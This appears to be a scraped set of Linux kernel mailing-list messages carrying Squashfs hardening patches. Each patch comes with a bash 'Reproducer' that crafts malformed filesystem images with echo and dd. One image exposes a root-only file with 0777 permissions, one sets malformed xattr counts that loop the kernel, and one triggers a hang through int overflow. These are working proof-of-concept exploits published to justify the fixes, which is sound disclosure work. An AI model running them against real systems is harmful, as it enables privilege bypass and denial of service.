In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to store a malicious directory.
Also anyone with access to Mksquashfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want.
However, there are a number of exploit scenarios here. Many embedded systems or secure systems have deliverately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem has a file in the root directory with permissions 0700 (u=rxw), where only the superuser can read it. But using this bug an attacker could create a malicious replacement directory in the inode lookup table (used by NFS), that points to a malicious replacement inode that has the permissions changed to 0777 (a=wrx). On reboot/remount this would make the file readable by unpriviliged users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper squashfs_dir_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the directory is within the directory table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the file "data" permissions will be changed to 0777 (a=rwx), but otherwise the filesystem is unchanged.
===================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none echo "data f 0700 0 0 echo some data" >> pseudo echo "files d 0777 0 0" >> pseudo
for i in $(seq 1 100); do
echo "files/$i f 0655 1000 1000 cat zero" >> pseudo
done
# Create a Squashfs filesystem
echo "Create a Squashfs filesystem"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# Exploit: The file named "data" has permissions 0700, which can only be
# read by the superuser. The desire is to change the permissions on # the file to be 0777, which can be read by unpriviliged users. # # Due to compression of the metadata, this cannot be done by directly # writing to the metadata tables. Instead the real metadata is replaced # by malicious metadata starting from the "data" file inode upwards to # the root inode. # # This is a three step process. # # 1. A new "data" file inode is placed within the inode lookup table # 2. A new root directory which points to the new "data" file inode is # placed in the inode lookup table # 3. A new root inode which pounts to the new root directory table is # placed in the inode lookup table. # # For brevity this reproducer uses pre-computed data for the above.
# Write malicious inode for file "data", this is the same as the
# original except it is uncompressed, and the permissions are set to # 0777. echo Writing malicious inode for file \"data\"
/usr/bin/echo -en "\x20\x80\x02\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x0A\x00\x00\x00" > file
dd bs=1 seek=1034 if=file of=img.sqsh count=34 conv=notrunc status=none
# Write directory data which points to the malicious inode echo Writing root directory which points to malicious inode
/usr/bin/echo -en "\x31\x80\x00\x00\x00\x00\x90\x03\x00\x00\x01\x00\x00\
\x00\x00\x00\x00\x00\x02\x00\x03\x00\x64\x61\x74\x61\x00\x00\x00\x00\
\x00\x00\x00\x00\x02\x00\x00\x00\xA0\x0C\x00\x00\x01\x00\x04\x00\x66\
\x69\x6c\x65\x73" > file
dd bs=1 seek=983 if=file of=img.sqsh count=51 conv=notrunc status=none
#
# Write root inode, this is the same as the original root inode, except
# it is uncompressed, and it points to the new directory data echo Writing root inode which points to the new root directory
/usr/bin/echo -en "\x20\x80\x01\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x67\x00\x00\x00\x43\x02\x00\x00\x03\x00\x00\x00\x34\x00\x00\
\x00\x00\x00\x00\x00" > file
dd bs=1 seek=949 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new
# root inode. The start block is an offset from the inode_table_start, # and not an absolute value. The start of the inode table is 122, the # new inode is placed at position 949, and so the offset is 827. Because # we've only stored one inode in the metadata block, the offset into # that block is 0. echo Updating the root_inode field in the superblock
/usr/bin/echo -en "\x00\x00\x3B\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt/data, if the exploit is successful, permissions should be 0777 echo "************************************************************************" echo Stat /mnt/data, if the exploit is successful, permissions should be 0777
stat /mnt/data
popd 2>&1> /dev/null
rm -rf $DIR
=====================================================================
fs/squashfs/dir.c | 20 ++++++++++++++------ fs/squashfs/namei.c | 20 +++++++++++++------- fs/squashfs/squashfs_fs_sb.h | 1 + fs/squashfs/squashfs_helpers.h | 17 +++++++++++++++++ fs/squashfs/super.c | 1 + 5 files changed, 46 insertions(+), 13 deletions(-)
fs/squashfs/dir.c renamed from fs/squashfs/dir.c~squashfs-sanity-check-directory-metadata-block-location +14 -6
@@ -22,6 +22,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" static const unsigned char squashfs_filetype_table[] = {
@@ -41,6 +42,7 @@ static int get_dir_index_using_offset(st int i_count, u64 f_pos) {struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 res;int err, i, index, length =0 ;unsigned int size;struct squashfs_dir_index dir_index;
@@ -81,9 +83,12 @@ static int get_dir_index_using_offset(stif (err <0 )break ; + res =squashfs_dir_start (le32_to_cpu (dir_index.start_block), msblk); +if (res <0 ) +break ; + length = index; - *next_block =le32_to_cpu (dir_index.start_block) + - msblk->directory_table; + *next_block = res; } *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ;
@@ -99,13 +104,16 @@ static int squashfs_readdir(struct file {struct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -u64 block =squashfs_i (inode)->start + msblk->directory_table; +s64 block =squashfs_dir_start (squashfs_i (inode)->start, msblk);int offset =squashfs_i (inode)->offset, length, err;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh; -struct squashfs_dir_entry *dire; +struct squashfs_dir_entry *dire =NULL ; + +TRACE ("Entered squashfs_readdir [%llx:%x]\n" ,squashfs_i (inode)->start, offset); -TRACE ("Entered squashfs_readdir [%llx:%x]\n" , block, offset); +if (block <0 ) + goto failed_read; dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {
@@ -211,7 +219,7 @@ finish:return 0 ; failed_read: -ERROR ("Unable to read directory block [%llx:%x]\n" , block, offset); +ERROR ("Unable to read directory block [%llx:%x]\n" ,squashfs_i (inode)->start, offset);kfree (dire);return 0 ; }
fs/squashfs/namei.c renamed from fs/squashfs/namei.c~squashfs-sanity-check-directory-metadata-block-location +13 -7
@@ -66,6 +66,7 @@ static int get_dir_index_using_name(stru int index_offset, int i_count, const char *name) { struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 res;int i, length =0 , err;unsigned int size;struct squashfs_dir_index *index;
@@ -99,9 +100,12 @@ static int get_dir_index_using_name(struif (strcmp (index->name, name) >0 )break ; + res =squashfs_dir_start (le32_to_cpu (index->start_block), msblk); +if (res <0 ) +break ; + length =le32_to_cpu (index->index); - *next_block =le32_to_cpu (index->start_block) + - msblk->directory_table; + *next_block = res; } *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ;
@@ -126,13 +130,16 @@ static struct dentry *squashfs_lookup(ststruct inode *inode =NULL ;struct squashfs_sb_info *msblk = dir->i_sb->s_fs_info;struct squashfs_dir_header dirh; -struct squashfs_dir_entry *dire; -u64 block =squashfs_i (dir)->start + msblk->directory_table; +struct squashfs_dir_entry *dire =NULL ; +u64 block =squashfs_dir_start (squashfs_i (dir)->start, msblk);int offset =squashfs_i (dir)->offset;int err, length;unsigned int dir_count, size; -TRACE ("Entered squashfs_lookup [%llx:%x]\n" , block, offset); +TRACE ("Entered squashfs_lookup [%llx:%x]\n" ,squashfs_i (dir)->start, offset); + +if (block <0 ) + goto data_error; dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {
@@ -219,8 +226,7 @@ data_error: read_failure:ERROR ("Unable to read directory block [%llx:%x]\n" , -squashfs_i (dir)->start + msblk->directory_table, -squashfs_i (dir)->offset); +squashfs_i (dir)->start,squashfs_i (dir)->offset); failed:kfree (dire);return ERR_PTR (err);
fs/squashfs/squashfs_fs_sb.h renamed from fs/squashfs/squashfs_fs_sb.h~squashfs-sanity-check-directory-metadata-block-location +1 -0
@@ -67,6 +67,7 @@ struct squashfs_sb_info {__le64 *inode_lookup_table;u64 inode_table;u64 directory_table; +u64 directory_table_end;u64 xattr_table;unsigned int block_size;unsigned short block_log;
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-sanity-check-directory-metadata-block-location +17 -0
@@ -70,6 +70,23 @@ static inline s64 squashfs_mkinode(u32 sreturn ((s64 )start <<16 ) | offset; } +/* directory helper functions */ +static inline s64 squashfs_dir_start (u32 blk,struct squashfs_sb_info *msblk) +{ +s64 start; + +if (S64_MAX - msblk->directory_table < blk) +return -EINVAL ; + + start = msblk->directory_table + blk; + +if (msblk->directory_table < msblk->directory_table_end && + start >= msblk->directory_table_end) +return -EINVAL ; + +return start; +} +/* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes (u32 fragments) {
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-sanity-check-directory-metadata-block-location +1 -0
@@ -437,6 +437,7 @@ check_directory_table: err = -EINVAL ; goto insanity; } + msblk->directory_table_end = next_table;/* Sanity check inode_table */ if (msblk->inode_table >= msblk->directory_table) {
_
Patches currently in -mm which might be from [email protected] are
squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 12/22 Squashfs: widen xattr count variables and add sanity check
In reply to Phillip LougherThe maximum number of Xattrs in an inode is 2^32-1 in Squashfs. However the code incorrectly treats the count as signed, or 2^31-1.
This means any value above 2^31-1 becomes a negative number, and it means loops will not terminate due to the negative comparison. This means the code will continue reading the filesystem until either the data is incorrect, or the end of the filesystem is reached.
The code also lacks a check that the count is too large, which will again mean that the code will continue reading the filesystem.
Finally, the code also lacks a check for a zero count, this means anything reading xattrs from the inode will successfully read no xattrs, even though this should have returned error due to corruption.
This commit changes the variables to be unsigned, and so negative values do not occur, and it first adds a sanity check for a zero xattr count, and second checks that the count isn't larger than the xattr size.
Reproducer
==========
This reproducer allows both zero, negative and large xattr count to be reproduced. In the case of a negative or large count, the exploit succeeds if dmesg shows the code failed to read a metadata block, due to the loop not terminating. In the case of a zero count, the exploit succeeds if gerfattr successfully returns with no xattrs.
====================================================================
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}if [ $# -lt 1 ]; then
echo This needs a parameter
echo $0 N/0/L
echo N reproduce negative xattr count
echo 0 reproduce 0 xattr count
echo L reproduce a large count
exit 1
fi
if [ $1 = "N" ]; then
echo Reproducing negative xattr count
elif [ $1 = "0" ]; then
echo Reproducing 0 xattr count
elif [ $1 = "L" ]; then
echo Reproducing large xattr count
else
echo Input not N, 0 or L
exit 1
fi
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create a Squashfs pseudo file which is fed to Mksquashfs
echo "/ d 0777 0 0" > pseudo
echo "example f 0777 0 0 echo example data" >> pseudo echo "example x user.comment=example xattr" >> pseudo
echo Generate the Squashfs filesystem
mksquashfs - img.sqsh -pf pseudo -quiet -no-progress -noX
low=$(dd if=img.sqsh bs=1 skip=56 count=1 status=none | od -An -v -tu1 | tr -d '\n') hi=$(dd if=img.sqsh bs=1 skip=57 count=1 status=none | od -An -v -tu1 | tr -d '\n') start=$(( $hi * 256 + $low ))
(( start -= 8 ))
if [ $1 = "N" ]; then
# Write -1 to the count field
echo Writing -1 to the count field
echo -ne "\xff\xff\xff\xff" > file
elif [ $1 = "0" ]; then
# Write 0 to the count field
echo Writing 0 to the count field
echo -ne "\x00\x00\x00\x00" > file
else
# Write 255 to the count field
echo Writing 255 to the count field
echo -ne "\xff\x00\x00\x00" > file
fi
dd if=file of=img.sqsh bs=1 seek=$start count=4 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
if [ $1 = "0" ]; then
if ! getfattr /mnt/example > output; then
echo Exploit failed, getfattr returned error
elif [ ! -s output ]; then
echo Exploit succeeded, getfattr returned success with no xattrs
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
else
if ! getfattr /mnt/example; then
echo Getfattr failed, this is expected.
echo If dmesg shows the following, then the exploit succeeded echo SQUASHFS error: Failed to read block 0x124: -5
echo SQUASHFS error: Unable to read metadata cache entry [122]
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
fi
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
--- fs/squashfs/inode.c | 2 +- fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/xattr.c | 27 ++++++++++++++++++++------- fs/squashfs/xattr.h | 6 +++--- fs/squashfs/xattr_id.c | 3 ++- 5 files changed, 27 insertions(+), 13 deletions(-)
fs/squashfs/inode.c +1 -1
@@ -448,7 +448,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) inode->i_blocks += ((squashfs_i (inode)->xattr_size -1 ) >>9 ) +1 ; }else -squashfs_i (inode)->xattr_count =0 ; +squashfs_i (inode)->xattr =SQUASHFS_INVALID_BLK ;return 0 ;
fs/squashfs/squashfs_fs_i.h +1 -1
@@ -15,7 +15,7 @@ struct squashfs_inode_info {int offset;u64 xattr;unsigned int xattr_size; -int xattr_count; +unsigned int xattr_count;int parent; union { struct {
fs/squashfs/xattr.c +20 -7
@@ -33,13 +33,16 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table;int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -int count =squashfs_i (inode)->xattr_count; +unsigned int count =squashfs_i (inode)->xattr_count;size_t rest = buffer_size;int err; -/* check that the file system has xattrs */ -if (msblk->xattr_id_table ==NULL ) -return -EOPNOTSUPP ; +/* check that the file has xattrs */ +if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK ) +return 0 ; + +if (count ==0 || count >squashfs_i (inode)->xattr_size) +return -EIO ;/* loop reading each xattr name */ while (count--) {
@@ -111,12 +114,21 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table;int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -int count =squashfs_i (inode)->xattr_count; +unsigned int count =squashfs_i (inode)->xattr_count;int name_len =strlen (name);int err, vsize; -char *target =kmalloc (name_len,GFP_KERNEL ); +char *target; + +/* check that the file has xattrs */ +if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK ) +return -ENODATA ; + +if (count ==0 || count >squashfs_i (inode)->xattr_size) +return -EIO ; + + target =kmalloc (name_len,GFP_KERNEL );if (target ==NULL ) -return -ENOMEM ; +return -ENOMEM ;/* loop reading each xattr name */ for (; count; count--) {
@@ -169,6 +181,7 @@ static int squashfs_xattr_get(struct inode *inode, int name_index, goto failed; vsize =le32_to_cpu (val.vsize); +if (buffer) {if (vsize > buffer_size) { err = -ERANGE ;
fs/squashfs/xattr.h +3 -3
@@ -11,8 +11,8 @@#ifdef CONFIG_SQUASHFS_XATTR extern __le64 *squashfs_read_xattr_id_table (struct super_block *,u64 ,u64 *,unsigned int *); -extern int squashfs_xattr_lookup (struct super_block *,unsigned int ,int *, -unsigned int *,unsigned long long *); +extern int squashfs_xattr_lookup (struct super_block *,unsigned int , +unsigned int *,unsigned int *,unsigned long long *);#else static inline __le64 *squashfs_read_xattr_id_table (struct super_block *sb,u64 start,u64 *xattr_table_start,unsigned int *xattr_ids)
@@ -31,7 +31,7 @@ static inline __le64 *squashfs_read_xattr_id_table(struct super_block *sb, }static inline int squashfs_xattr_lookup (struct super_block *sb, -unsigned int index,int *count,unsigned int *size, +unsigned int index,unsigned int *count,unsigned int *size,unsigned long long *xattr) {return 0 ;
fs/squashfs/xattr_id.c +2 -1
@@ -27,7 +27,8 @@* Map xattr id using the xattr id look up table */ int squashfs_xattr_lookup (struct super_block *sb,unsigned int index, -int *count,unsigned int *size,unsigned long long *xattr) +unsigned int *count,unsigned int *size, +unsigned long long *xattr) {struct squashfs_sb_info *msblk = sb->s_fs_info;int block =squashfs_xattr_block (index);
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-widen-xattr-count-variables-and-add-sanity-check.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: widen xattr count variables and add sanity check has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: widen xattr count variables and add sanity check
has been removed from the -mm tree. Its filename was
squashfs-widen-xattr-count-variables-and-add-sanity-check.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: widen xattr count variables and add sanity check
Date: Wed, 11 Nov 2026 23:43:52 +0000
The maximum number of Xattrs in an inode is 2^32-1 in Squashfs. However the code incorrectly treats the count as signed, or 2^31-1.
This means any value above 2^31-1 becomes a negative number, and it means loops will not terminate due to the negative comparison. This means the code will continue reading the filesystem until either the data is incorrect, or the end of the filesystem is reached.
The code also lacks a check that the count is too large, which will again mean that the code will continue reading the filesystem.
Finally, the code also lacks a check for a zero count, this means anything reading xattrs from the inode will successfully read no xattrs, even though this should have returned error due to corruption.
This commit changes the variables to be unsigned, and so negative values do not occur, and it first adds a sanity check for a zero xattr count, and second checks that the count isn't larger than the xattr size.
Reproducer
==========
This reproducer allows both zero, negative and large xattr count to be reproduced. In the case of a negative or large count, the exploit succeeds if dmesg shows the code failed to read a metadata block, due to the loop not terminating. In the case of a zero count, the exploit succeeds if gerfattr successfully returns with no xattrs.
====================================================================
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}if [ $# -lt 1 ]; then
echo This needs a parameter
echo $0 N/0/L
echo N reproduce negative xattr count
echo 0 reproduce 0 xattr count
echo L reproduce a large count
exit 1
fi
if [ $1 = "N" ]; then
echo Reproducing negative xattr count
elif [ $1 = "0" ]; then
echo Reproducing 0 xattr count
elif [ $1 = "L" ]; then
echo Reproducing large xattr count
else
echo Input not N, 0 or L
exit 1
fi
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create a Squashfs pseudo file which is fed to Mksquashfs
echo "/ d 0777 0 0" > pseudo
echo "example f 0777 0 0 echo example data" >> pseudo echo "example x user.comment=example xattr" >> pseudo
echo Generate the Squashfs filesystem
mksquashfs - img.sqsh -pf pseudo -quiet -no-progress -noX
low=$(dd if=img.sqsh bs=1 skip=56 count=1 status=none | od -An -v -tu1 | tr -d '\n') hi=$(dd if=img.sqsh bs=1 skip=57 count=1 status=none | od -An -v -tu1 | tr -d '\n') start=$(( $hi * 256 + $low ))
(( start -= 8 ))
if [ $1 = "N" ]; then
# Write -1 to the count field
echo Writing -1 to the count field
echo -ne "\xff\xff\xff\xff" > file
elif [ $1 = "0" ]; then
# Write 0 to the count field
echo Writing 0 to the count field
echo -ne "\x00\x00\x00\x00" > file
else
# Write 255 to the count field
echo Writing 255 to the count field
echo -ne "\xff\x00\x00\x00" > file
fi
dd if=file of=img.sqsh bs=1 seek=$start count=4 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
if [ $1 = "0" ]; then
if ! getfattr /mnt/example > output; then
echo Exploit failed, getfattr returned error
elif [ ! -s output ]; then
echo Exploit succeeded, getfattr returned success with no xattrs
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
else
if ! getfattr /mnt/example; then
echo Getfattr failed, this is expected.
echo If dmesg shows the following, then the exploit succeeded echo SQUASHFS error: Failed to read block 0x124: -5
echo SQUASHFS error: Unable to read metadata cache entry [122]
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
fi
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
fs/squashfs/inode.c | 2 +- fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/xattr.c | 27 ++++++++++++++++++++------- fs/squashfs/xattr.h | 6 +++--- fs/squashfs/xattr_id.c | 3 ++- 5 files changed, 27 insertions(+), 13 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-widen-xattr-count-variables-and-add-sanity-check +1 -1
@@ -448,7 +448,7 @@ int squashfs_read_inode(struct inode *in inode->i_blocks += ((squashfs_i (inode)->xattr_size -1 ) >>9 ) +1 ; }else -squashfs_i (inode)->xattr_count =0 ; +squashfs_i (inode)->xattr =SQUASHFS_INVALID_BLK ;return 0 ;
fs/squashfs/squashfs_fs_i.h renamed from fs/squashfs/squashfs_fs_i.h~squashfs-widen-xattr-count-variables-and-add-sanity-check +1 -1
@@ -15,7 +15,7 @@ struct squashfs_inode_info {int offset;u64 xattr;unsigned int xattr_size; -int xattr_count; +unsigned int xattr_count;int parent; union { struct {
fs/squashfs/xattr.c renamed from fs/squashfs/xattr.c~squashfs-widen-xattr-count-variables-and-add-sanity-check +20 -7
@@ -33,13 +33,16 @@ ssize_t squashfs_listxattr(struct dentryu64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table;int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -int count =squashfs_i (inode)->xattr_count; +unsigned int count =squashfs_i (inode)->xattr_count;size_t rest = buffer_size;int err; -/* check that the file system has xattrs */ -if (msblk->xattr_id_table ==NULL ) -return -EOPNOTSUPP ; +/* check that the file has xattrs */ +if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK ) +return 0 ; + +if (count ==0 || count >squashfs_i (inode)->xattr_size) +return -EIO ;/* loop reading each xattr name */ while (count--) {
@@ -111,12 +114,21 @@ static int squashfs_xattr_get(struct inou64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table;int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -int count =squashfs_i (inode)->xattr_count; +unsigned int count =squashfs_i (inode)->xattr_count;int name_len =strlen (name);int err, vsize; -char *target =kmalloc (name_len,GFP_KERNEL ); +char *target; + +/* check that the file has xattrs */ +if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK ) +return -ENODATA ; + +if (count ==0 || count >squashfs_i (inode)->xattr_size) +return -EIO ; + + target =kmalloc (name_len,GFP_KERNEL );if (target ==NULL ) -return -ENOMEM ; +return -ENOMEM ;/* loop reading each xattr name */ for (; count; count--) {
@@ -169,6 +181,7 @@ static int squashfs_xattr_get(struct ino goto failed; vsize =le32_to_cpu (val.vsize); +if (buffer) {if (vsize > buffer_size) { err = -ERANGE ;
fs/squashfs/xattr.h renamed from fs/squashfs/xattr.h~squashfs-widen-xattr-count-variables-and-add-sanity-check +3 -3
@@ -11,8 +11,8 @@#ifdef CONFIG_SQUASHFS_XATTR extern __le64 *squashfs_read_xattr_id_table (struct super_block *,u64 ,u64 *,unsigned int *); -extern int squashfs_xattr_lookup (struct super_block *,unsigned int ,int *, -unsigned int *,unsigned long long *); +extern int squashfs_xattr_lookup (struct super_block *,unsigned int , +unsigned int *,unsigned int *,unsigned long long *);#else static inline __le64 *squashfs_read_xattr_id_table (struct super_block *sb,u64 start,u64 *xattr_table_start,unsigned int *xattr_ids)
@@ -31,7 +31,7 @@ static inline __le64 *squashfs_read_xatt }static inline int squashfs_xattr_lookup (struct super_block *sb, -unsigned int index,int *count,unsigned int *size, +unsigned int index,unsigned int *count,unsigned int *size,unsigned long long *xattr) {return 0 ;
fs/squashfs/xattr_id.c renamed from fs/squashfs/xattr_id.c~squashfs-widen-xattr-count-variables-and-add-sanity-check +2 -1
@@ -27,7 +27,8 @@* Map xattr id using the xattr id look up table */ int squashfs_xattr_lookup (struct super_block *sb,unsigned int index, -int *count,unsigned int *size,unsigned long long *xattr) +unsigned int *count,unsigned int *size, +unsigned long long *xattr) {struct squashfs_sb_info *msblk = sb->s_fs_info;int block =squashfs_xattr_block (index);
_
Patches currently in -mm which might be from [email protected] are
squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 13/22 Squashfs: very large files can exceed an int block count
In reply to Phillip LougherSquashfs in many places uses a signed int to store the block number and block count of a file. If the block size is using the Linux page size (normally 4 KiB), it means any file larger than 8 TiB (2^43) will overflow a signed int.
If the block number and block count is in terms of the Squashfs filesystem block size (which can be between 4 kiB and 1 MiB), it depends on the block size as to when a signed int will overflow, but a file larger than 256 TiB (2^48) using 128 KiB blocks will overflow a signed int.
This commit widens all appropriate variables to long long (s64) to avoid overflow.
Reproducer
==========
The following reproducer creates a Squashfs filesystem with a 8 TiB + 4096 byte sparse file. The filestem is mounted, and the last 4096 bytes are read from the file. If the reproducer is successful the process will hang. This is because signed int overflow occurs in squashfs_copy_cache() with the result that folio_end_read() is not called.
====================================================================
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create an 8 Tib (2^43) + 4096 byte sparse file"
if ! truncate --size 8796093026304 bigfile; then
echo Create of sparse file failed.
finish
fi
echo Generate the Squashfs filesystem containing the sparse file echo This will be VERY slow on Squashfs-tools older than 4.7.3
mksquashfs bigfile bigfile.sqsh -b 1M -quiet
echo Mount the filesystem to /mnt
if ! mount -t squashfs bigfile.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the last 4096 bytes from the sparse file. echo If the exploit succeeds the process will hang
dd if=/mnt/bigfile bs=1 skip=8796093022208
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
---
v2:
- Ensure return value of fill_meta_data() is evaluated using 64-bit arithmetic
- Widen int n to s64 in read_indexes()
--- fs/squashfs/file.c | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-)
fs/squashfs/file.c +17 -16
@@ -35,6 +35,7 @@#include <linux/string.h> #include <linux/pagemap.h> #include <linux/mutex.h> +#include <linux/math64.h> #include "squashfs_fs.h" #include "squashfs_fs_sb.h"
@@ -160,7 +161,7 @@ static void release_meta_index(struct inode *inode, struct meta_index *meta)* Read the next n blocks from the block list, starting from * metadata block <start_block, offset>. */ -static long long read_indexes (struct super_block *sb,int n, +static long long read_indexes (struct super_block *sb,s64 n,u64 *start_block,int *offset) {int err, i;
@@ -173,7 +174,7 @@ static long long read_indexes(struct super_block *sb, int n, }while (n) { -int blocks =min_t (int, n,PAGE_SIZE >>2 ); +int blocks =min_t (s64, n,PAGE_SIZE >>2 ); err =squashfs_read_metadata (sb, blist, start_block, offset, blocks <<2 );
@@ -216,7 +217,7 @@ static long long read_indexes(struct super_block *sb, int n,*/ static inline int calculate_skip (u64 blocks) { -u64 skip = blocks / ((SQUASHFS_META_ENTRIES +1 ) +u64 skip =div_u64 (blocks, (SQUASHFS_META_ENTRIES +1 ) *SQUASHFS_META_INDEXES );return min ((u64 )SQUASHFS_CACHED_BLKS -1 , skip +1 ); }
@@ -227,7 +228,7 @@ static inline int calculate_skip(u64 blocks)* on-disk locations of the datablock and block list metadata block * <index_block, index_offset> for index (scaled to nearest cache index). */ -static int fill_meta_index (struct inode *inode,int index, +static s64 fill_meta_index (struct inode *inode,s64 index,u64 *index_block,int *index_offset,u64 *data_block) {struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;
@@ -243,7 +244,7 @@ static int fill_meta_index(struct inode *inode, int index,/* * Scale index to cache index (cache slot entry) */ - index /=SQUASHFS_META_INDEXES * skip; + index =div_u64 (index,SQUASHFS_META_INDEXES * skip);while (offset < index) { meta =locate_meta_index (inode, offset +1 , index);
@@ -315,7 +316,7 @@ static int fill_meta_index(struct inode *inode, int index,/* * Scale cache index (cache slot entry) to index */ -return offset *SQUASHFS_META_INDEXES * skip; +return (s64 )offset *SQUASHFS_META_INDEXES * skip; failed:release_meta_index (inode, meta);
